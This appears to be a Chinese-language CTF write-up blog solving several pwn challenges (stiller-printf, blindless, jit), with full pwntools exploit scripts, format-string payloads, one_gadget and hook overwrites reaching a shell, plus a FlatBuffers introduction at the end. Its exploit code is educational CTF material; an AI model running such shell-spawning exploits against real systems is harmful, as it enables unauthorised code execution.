[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
1
2
RDX  0x0
R15 0x0

比赛时看这概率很低,于是就不打算爆了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './s1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

"""
local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('litctf.org','31778')
"""

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1242)\n")
pause()

def cmd(op):
sla(">",str(op))

"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
"""

def pwn():
#debug()
one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
payload = "a"*0x38 + "\x01\x1b"
sl(payload)

i = 0
while(1):
try:
i = i + 1
print(i)
#p = remote('1.13.101.243','25752')
p = process(challenge)
pwn()
sl("cat flag")
flag = ru("}")
print(flag)
break
except:
p.close()

p.interactive()

stiller-printf

1
GNU C Library (Ubuntu GLIBC 2.36-0ubuntu4) stable release version 2.36.
1
2
3
4
5
6
stiller-printf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a6ab53bcdd0f2439e5ecf85bff7b3d5a43048e1, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

本题目有个特殊的地方,其二进制文件是用 python 启动的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import pwn
from tqdm import tqdm
import secrets

pwn.context.log_level = 'critical'

payload = input("Payload: ").encode('utf-8')
if len(payload) >= 0x100 or not payload.isascii():
print("NO!")
exit(1)

def check(payload):
f = open('secret.txt', 'wb')
token = secrets.token_hex(0x40).encode()
f.write(token)
f.close()
con = pwn.process("./stiller-printf", stdout=open('/dev/null', 'wb'))
con.sendline(payload)
ret = con.poll(True) == 0
con.close()
try:
f = open('win.txt', 'rb')
ret = f.read() == token and ret
f.close()
return ret
except FileNotFoundError:
return False


total = 150
passed = sum([check(payload) for _ in tqdm(range(total))])
print(f"Total: {total} Passed: {passed}")
if passed > 58:
print("CONSISTENT ENOUGH FOR ME :D")
print("LITCTF{FLAG}")
exit(0)
print("NOT CONSISTENT ENOUGH")
exit(1)
  • 函数 check 的通过条件是:文件 secret.txtwin.txt 中的内容相同
  • 运行150次,如果通过此时超过58即可获取 flag(需要爆破概率超过 1/3)
  • 程序使用管道进行通信,不存在大量的字符阻塞IO的限制

漏洞分析

格式化字符串漏洞:

1
2
fgets(s, 256, stdin);
printf(s);

程序中有后门:

1
2
3
4
fds = open("secret.txt", 0);
fdw = open("win.txt", 0x41, 448LL);
len = read(fds, buf, 0x100uLL);
write(fdw, buf, len);

入侵思路

利用格式化字符串漏洞执行后门函数即可,程序对通过率有限制,必须在无泄漏的情况下编写高通过率的 payload

核心思路就是覆盖 printf 返回地址的末尾一字节为 0x09,将其变为后门函数(在使用 %n 覆盖较小尺寸的数据时,需要令此数据在 mod 256 后等于 0x09)

面对无泄露的 fmt,需要先寻找合适的指针链,断点到 printf 刚刚调用时打印栈数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
00:0000│ rsp 0x7ffed951a4c8 —▸ 0x56406778a2e7 ◂— mov    edi, 1 /* printf返回地址 */
......
21:0108│ rbp 0x7ffed951a5d0 ◂— 0x1
22:01100x7ffed951a5d8 —▸ 0x7fc034d97510 ◂— mov edi, eax
23:01180x7ffed951a5e0 ◂— 0x0
24:01200x7ffed951a5e8 —▸ 0x56406778a295 ◂— endbr64
25:01280x7ffed951a5f0 ◂— 0x100000000
26:01300x7ffed951a5f8 —▸ 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
27:01380x7ffed951a600 —▸ 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
28:01400x7ffed951a608 ◂— 0x40538a8863c3a102
29:01480x7ffed951a610 ◂— 0x0
2a:01500x7ffed951a618 —▸ 0x7ffed951a6f8 —▸ 0x7ffed951b0ee ◂— 'LC_NUMERIC=zh_CN.UTF-8'
2b:01580x7ffed951a620 —▸ 0x56406778cd90 —▸ 0x56406778a1c0 ◂— endbr64
2c:01600x7ffed951a628 —▸ 0x7fc034fb1020 (_rtld_global) —▸ 0x7fc034fb22e0 —▸ 0x564067789000 ◂— 0x10102464c457f
2d:01680x7ffed951a630 ◂— 0xbfae382b2801a102
2e:01700x7ffed951a638 ◂— 0xbfd3e33a8a49a102
2f:01780x7ffed951a640 ◂— 0x0
30:01800x7ffed951a648 ◂— 0x0
31:01880x7ffed951a650 ◂— 0x0
32:01900x7ffed951a658 —▸ 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
33:01980x7ffed951a660 —▸ 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
34:01a0│ 0x7ffed951a668 ◂— 0xb5e79ed3527f8200
35:01a8│ 0x7ffed951a670 ◂— 0x0
36:01b0│ 0x7ffed951a678 —▸ 0x7fc034d975c9 (__libc_start_main+137) ◂— mov r15, qword ptr [rip + 0x1d29a0]
37:01b8│ 0x7ffed951a680 —▸ 0x56406778a295 ◂— endbr64
38:01c0│ 0x7ffed951a688 —▸ 0x56406778cd90 —▸ 0x56406778a1c0 ◂— endbr64
39:01c8│ 0x7ffed951a690 —▸ 0x7fc034fb22e0 —▸ 0x564067789000 ◂— 0x10102464c457f
3a:01d0│ 0x7ffed951a698 ◂— 0x0
3b:01d8│ 0x7ffed951a6a0 ◂— 0x0
3c:01e00x7ffed951a6a8 —▸ 0x56406778a120 ◂— endbr64
3d:01e80x7ffed951a6b0 —▸ 0x7ffed951a6e0 ◂— 0x1
3e:01f0│ 0x7ffed951a6b8 ◂— 0x0
3f:01f8│ 0x7ffed951a6c0 ◂— 0x0
40:02000x7ffed951a6c8 —▸ 0x56406778a145 ◂— hlt
41:02080x7ffed951a6d0 —▸ 0x7ffed951a6d8 ◂— 0x38 /* '8' */
42:02100x7ffed951a6d8 ◂— 0x38 /* '8' */
43:02180x7ffed951a6e0 ◂— 0x1
44:0220│ rbx 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
45:02280x7ffed951a6f0 ◂— 0x0
46:0230│ r13 0x7ffed951a6f8 —▸ 0x7ffed951b0ee ◂— 'LC_NUMERIC=zh_CN.UTF-8'
  • 合适的指针链如下:
    • 0x7ffed951a5f8(43) -> 0x7ffed951a6e8(73)
    • 0x7ffed951a618(47) -> 0x7ffed951a6f8(75)
1
2
3
4
5
6
7
8
9
10
pwndbg> fmtarg 0x7ffed951a5f8
The index of format argument : 44 ("\%43$p")
pwndbg> fmtarg 0x7ffed951a618
The index of format argument : 48 ("\%47$p")
pwndbg> fmtarg 0x7ffed951a658
The index of format argument : 56 ("\%55$p")
pwndbg> fmtarg 0x7ffed951a6e8
The index of format argument : 74 ("\%73$p")
pwndbg> fmtarg 0x7ffed951a6f8
The index of format argument : 76 ("\%75$p")

后续的操作参考了如下博客:LIT CTF 2023 - stiller-printf - Yet another format string to rule them all - Ethan’s Blog (eth007.me)

为了利用指针链,首先我们需要将覆盖指针链的后2字节,使其指向 printf 的返回地址

首先需要了解一个技巧:

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main() {
printf("%*c\n", 0x31, 'a');
printf("%*c\n", 0x32, 'b');
printf("%*1$c\n",'1','2','3');
printf("%*2$c\n",'1','2','3');
printf("%*3$c\n",'1','2','3');
}
1
2
3
4
5
6
exp ./test            
a
b
1
1
1
  • %*c:读取后续相邻的2个参数,第1个参数作为对其值,第2个参数作为数据
  • %*n$c:读取后续第1,n个参数,第n个参数作为对其值,第1个参数作为数据

分析以下 payload:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%*c
  • 42个 %c,1个 %*c,因此第43个参数就会作为对其值(这里存放了 0x7ffed951a6e8)
  • 因此整个 payload 的对其值为:0x7ffed951a6e8 + 42
1
2
pwndbg> distance 0x7ffed951a6e8 0x7ffed951a4c8
0x7ffed951a6e8->0x7ffed951a4c8 is -0x220 bytes (-0x44 words)
  • 对该 payload 进行变形,使对其值为 0x7ffed951a4c8 + 0x10000 * n(printf 的返回地址),我们只需要利用后4位的值,因此n的值不重要
  • 假设 n = 1 可以进行如下的计算:
    • -0x220 % 0x10000 = 0xfde0
    • 0xfde0 - 41 = 64951
1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64951c%*c

为了覆盖指针链的后2字节,可以得出如下 payload:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn
  • 新添加两个 %c 导致第47个参数成为 %hn 修改的对象,即是 0x7ffed951a618
  • 由于 0x7ffed951a618(47) 指向 0x7ffed951a6f8(75),索引75会间接指向 printf 的返回地址(此时修改索引75即可修改 printf 的返回地址)

然后写入如下 payload 修改 printf 的返回地址:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%133c%75$hhn
  • 可以使用 GDB 配合 r >/dev/null 命令进行调试
  • 由于栈的随机化较大,因此 %*c 会写入随机大小的对其值,%133c 正是其中一种情况的解(爆破概率为 1/16)

虽然 %*c 的值是随机的,但我们可以通过再添加15个 %*43$c 的方法使其末尾一字节为 \x00(共16个 %*43$c

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%8c%75$hhn
  • 这在理论上应该有效,但是当针对程序运行时每次都会过早退出

这里作者给出了原因:

1
2
3
4
5
6
7
8
9
10
11
12
13
static inline int
done_add_func (size_t length, int done)
{
if (done < 0)
return done;
int ret;
if (INT_ADD_WRAPV (done, length, &ret))
{
__set_errno (EOVERFLOW);
return -1;
}
return ret;
}
  • 这是负责管理 %n 计数器的函数,done 变量是 printf 的 %n 的计数器
  • 当它检测到整数溢出时,printf 将退出,并且由于使用了 int 数据类型
  • 当我们尝试打印太多时,printf 将过早退出

测试案例如下:

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main() {
long a = 0;
long b = 0;
printf("%*1$c%2$lln\n", 0x80000000, &a);
printf("%*1$c%2$lln\n", 0x70000000, &b);
fprintf(stderr, "a:0x%lx\nb:0x%lx\n", a,b);
}
1
2
a:0x0
b:0x70000000
  • 由于第一个 printf 触发了整数溢出,导致赋值失败

这里作者给出的解决办法是:利用另一条指针链进行间接修改

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn
  • 往索引56中写入 0xa6f0,间接导致索引73也指向索引74(0x7ffed951a6f0),该索引的初始值为“0”,将其写入 15 次之后依然较小
1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn
  • 往索引73中写入 0xa6f0+6,此时索引74中的值变为 0xa6f0+6,该索引中的值较小,覆写15次也不会造成整数溢出
  • 最后修改索引75即可修改 printf 的返回地址

目前唯一的问题就是,该 payload 较长,超出了题目的限制:

1
2
len("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn")
257

可以做出如下调整:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn
  • 将第一个 %*74$c 修改为 %*c 可以节约几字节的空间

完整 exp 如下:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn

blindless

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8edd548324d994d7d9ceaba18aea6a9f0daf7c7c, for GNU/Linux 3.2.0, with debug_info, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

提示文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    0x5625ff3e2000     0x5625ff3e3000 r--p     1000 0      /home/ctf/pwn
0x5625ff3e3000 0x5625ff3e4000 r-xp 1000 1000 /home/ctf/pwn
0x5625ff3e4000 0x5625ff3e5000 r--p 1000 2000 /home/ctf/pwn
0x5625ff3e5000 0x5625ff3e6000 r--p 1000 2000 /home/ctf/pwn
0x5625ff3e6000 0x5625ff3e7000 rw-p 1000 3000 /home/ctf/pwn
0x5625ff6b3000 0x5625ff6d4000 rw-p 21000 0 [heap]
0x7f2a72e98000 0x7f2a72f99000 rw-p 101000 0 [anon_7f2a72e98]
0x7f2a72f99000 0x7f2a72fbb000 r--p 22000 0 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a72fbb000 0x7f2a73133000 r-xp 178000 22000 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a73133000 0x7f2a73181000 r--p 4e000 19a000 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a73181000 0x7f2a73185000 r--p 4000 1e7000 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a73185000 0x7f2a73187000 rw-p 2000 1eb000 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a73187000 0x7f2a7318d000 rw-p 6000 0 [anon_7f2a73187]
0x7f2a7318d000 0x7f2a7318e000 r--p 1000 0 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a7318e000 0x7f2a731b1000 r-xp 23000 1000 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a731b1000 0x7f2a731b9000 r--p 8000 24000 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a731ba000 0x7f2a731bb000 r--p 1000 2c000 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a731bb000 0x7f2a731bc000 rw-p 1000 2d000 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a731bc000 0x7f2a731bd000 rw-p 1000 0 [anon_7f2a731bc]
0x7ffed494a000 0x7ffed496b000 rw-p 21000 0 [stack]
0x7ffed49f3000 0x7ffed49f7000 r--p 4000 0 [vvar]
0x7ffed49f7000 0x7ffed49f9000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

漏洞分析

局部写漏洞:

1
2
3
4
5
else if ( c.key == '.' )
{
*data = code[c.index + 1];
c.index += 2;
}

入侵思路

申请一片大空间,使得 malloc 调用 mmap:

1
data = (char *)malloc(sizea);

计算偏移使得 data 指向 exit_hook

1
2
3
4
5
if ( c.key == '@' )
{
data += *(unsigned int *)&code[c.index + 1];
c.index += 5;
}

利用局部写漏洞覆盖 exit_hook 低位为 one_gadget,爆破3位出 flag(概率为 1/4096)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './main1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

"""
local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('1.13.101.243','25752')
"""

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x12DA)\n")
pause()

def cmd(op):
sla(">",str(op))

def pwn():
backdoor_addr = 0x1209
#debug()
sla("data size",str(0x100000))
sla("code size",str(0x100)) # 0x7ffff7eb8afe
payload = "@"+p32(0x323f58)+"."+p8(0xfe)+">."+p8(0x7a)+">."+p8(0xa6)+"q"
sla("your code",payload)

i = 0
while(1):
try:
i = i + 1
print(i)
p = remote('1.13.101.243','25752')
#p = process(challenge)
pwn()
sl("cat flag")
flag = ru("}")
print(flag)
break
except:
p.close()

p.interactive()

jit

1
2
3
4
5
6
jit: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7062b1b0edff968d09e012e0905c2e5b7276cbd4, for GNU/Linux 3.2.0, stripped       
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序分析

本题目实现了一个虚拟机,在地址为 0x4240 的地方开始加载字节码 ,支持4种内置的函数调用,大致格式如下:

1
2
[opcode][原寄存器的值][目标寄存器的值][data len][data]
[0----7][8--------11][12---------15][16----31][32-63]

程序在 0x31B0 的代码会对之前部署的字节码进行解析,并将其转化为 x86 能理解的二进制代码并写入一片由 mmap 申请的内存空间

下面就是 mov 指令的实现:(包括直接寻址和间接寻址)

1
2
3
4
case 0xB7:
++reg_pc;
*(&reg + (unsigned __int8)reg_op1) = val;
continue;
1
2
3
4
case 0xBF:
++reg_pc;
*(&reg + (unsigned __int8)reg_op1) = *(&reg + (unsigned __int8)reg_op2);
continue;

经过调试测试,各个寄存器对应的数值如下:

reg num
rax 0
rdi 1
rsi 2
rdx 3
r9 4
r8 5
rbx 6
r13 7
r14 8
r15 9
  • PS:使用 opcode 决定该寄存器的占位大小(byte,word,dword,qword)

入侵思路

本题目完全是依靠程序本身的功能进行入侵

可以构建合适的汇编代码来获取 [rdi+0x58] 处的 libc 地址,计算偏移将其改为 system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def cmd(opcode,reg_op2,reg_op1,data1,data2):
payload = p8(opcode)
payload += p8((reg_op2<<4) | reg_op1)
payload += p16(data1)
payload += p32(data2)
payload = binascii.hexlify(payload.encode())
print(payload)
return payload

def load_reg(reg_op1,reg_op2,offset):
payload = cmd(0x79,reg_op2,reg_op1,offset,0)
return payload

def sub_data(reg_op1,data):
payload = cmd(0x17,0,reg_op1,0,data)
return payload

def call(key):
payload = cmd(0x85,0,0,0,key)
return payload

payload = load_reg(regs().r15, regs().rdi, 0x58)
payload += sub_data(regs().r15, 0x4346e0-0x80)
payload += add_data(regs().r15, 0x52290-0x80)

经调试发现,程序的“内置函数”就记录在 heap 中

比赛时的入侵思路就是往“内置函数”中写入 system(程序通过 offset 来决定具体调用哪个“内置函数”,但并没有对 offset 进行限制)

1
2
3
4
5
6
7
2b:01580x55e26ce6ba58 ◂— 0x211
2c:01600x55e26ce6ba60 —▸ 0x55e26c5ca710 ◂— endbr64
2d:01680x55e26ce6ba68 —▸ 0x55e26c5ca750 ◂— endbr64
2e:01700x55e26ce6ba70 —▸ 0x55e26c5ca770 ◂— endbr64
2f:01780x55e26ce6ba78 —▸ 0x55e26c5ca7b0 ◂— endbr64
30:01800x55e26ce6ba80 —▸ 0x55e26c5ca790 ◂— endbr64
31:01880x55e26ce6ba88 —▸ 0x55e26c5ca780 ◂— endbr64

最后发现写入的 system 不起作用,不管是添加到 func_list 后还是覆盖已有的值都没用

可能是 func_list 的位置没有找对,因为在 search 时发现多个地址都存在 func_list:

1
2
3
4
5
6
7
pwndbg> search -t qword 0x55c891fd0710
Searching for value: b'\x10\x07\xfd\x91\xc8U\x00\x00'
[heap] 0x55c892d062d8 0x55c891fd0710
[heap] 0x55c892d07b00 0x55c891fd0710
[heap] 0x55c892d07f50 0x55c891fd0710
[anon_7fc3e8f18] 0x7fc3e8f18030 adc byte ptr [rdi], al
[stack] 0x7fff31949158 0x55c891fd0710

可以选择去挨个覆盖这些地址,也可以直接去覆盖 free_hook,这里采用了后者

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# -*- coding:utf-8 -*-
from pwn import *
import binascii

arch = 64
challenge = './jit1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x886B)\nb *$rebase(0x85F5)\nb *$rebase(0x4476)\n")
pause()

class regs():
rax = 0
rdi = 1
rsi = 2
rdx = 3
r9 = 4
r8 = 5
rbx = 6
r13 = 7
r14 = 8
r15 = 9

def cmd(opcode,reg_op2,reg_op1,data1,data2):
payload = p8(opcode)
payload += p8((reg_op2<<4) | reg_op1)
payload += p16(data1)
payload += p32(data2)
print(payload)
payload = binascii.hexlify(payload.encode())
print(payload)
return payload

def store_reg(reg_op1,reg_op2,offset):
payload = cmd(0x7b,reg_op2,reg_op1,offset,0)
return payload

def store_data(reg_op1,data,offset):
payload = cmd(0x7a,0,reg_op1,offset,data)
return payload

def load_reg(reg_op1,reg_op2,offset):
payload = cmd(0x79,reg_op2,reg_op1,offset,0)
return payload

def mov_reg(reg_op1,reg_op2):
payload = cmd(0xbf,reg_op2,reg_op1,0,0)
return payload

def mov_data(reg_op1,data):
payload = cmd(0xb7,0,reg_op1,0,data)
return payload

def add_data(reg_op1,data):
payload = cmd(0x7,0,reg_op1,0,data)
return payload

def sub_data(reg_op1,data):
payload = cmd(0x17,0,reg_op1,0,data)
return payload

def call():
#payload = cmd(0x85,0,0,0,key)
payload = "8500050000000000"
return payload

payload = load_reg(regs().r9, regs().rdi, 0x38)
payload += sub_data(regs().r9, 0x4346e0-0x80)
payload += add_data(regs().r9, 0x52290-0x80)
payload += load_reg(regs().r8, regs().rdi, 0x48)
payload += sub_data(regs().r8, 0x41f060-0xe048)
payload += add_data(regs().r8, 0x1eee48-0xe048)
payload += store_reg(regs().r8,regs().r9,0)
payload += store_data(regs().rdi,0x6873,0)

print(len(payload))

#debug()

sla("Program:",payload)
sla("Memory:","/bin/sh\x00")

p.interactive()

Flatbuffers 简介

FlatBuffers 是一个开源的、跨平台的、高效的、提供了多种语言接口的序列化工具库,实现了与 Protocal Buffers 类似的序列化格式

FlatBuffers 通过 Scheme 文件定义数据结构,在官方网站 FlatBuffers: Tutorial 中可以找到如下的测试案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
namespace MyGame.Sample;
enum Color:byte { Red = 0, Green, Blue = 2 }
union Equipment { Weapon } // Optionally add more tables.

struct Vec3 {
x:float;
y:float;
z:float;
}

table Monster {
pos:Vec3; // Struct.
mana:short = 150;
hp:short = 100;
name:string;
friendly:bool = false (deprecated);
inventory:[ubyte]; // Vector of scalars.
color:Color = Blue; // Enum.
weapons:[Weapon]; // Vector of tables.
equipped:Equipment; // Union.
path:[Vec3]; // Vector of structs.
}

table Weapon {
name:string;
damage:short;
}

root_type Monster;
  • Table:每个字段都有一个名称,一个类型和一个可选的默认值(默认为 0 / NULL)
  • Structs:只包含标量或其他结构(没有默认值,其字段也不会被添加或者弃用)
  • Types:包括标量类型和非标量类型
    • 标量类型的字段有默认值
    • 非标量的字段 (string/vector/table/enums/structs) 如果没有值的话,默认值为 NULL
  • Enums:定义一系列命名常量,默认的第一个值是 “0”
  • Unions:一个 Unions 中可以放置多种类型,共同使用一个内存区域
    • 可以声明一个 Unions 字段,该字段可以包含对这些类型中的任何一个的引用,即这块内存区域只能由其中一种类型使用
    • 另外还会生成一个带有后缀 _type 的隐藏字段,该字段包含相应的枚举值,从而可以在运行时知道要将哪些类型转换为类型
  • Root Type:声明了序列化数据的根表

参考:深入浅出 FlatBuffers 之 Schema (halfrost.com)

Flatbuffers Table

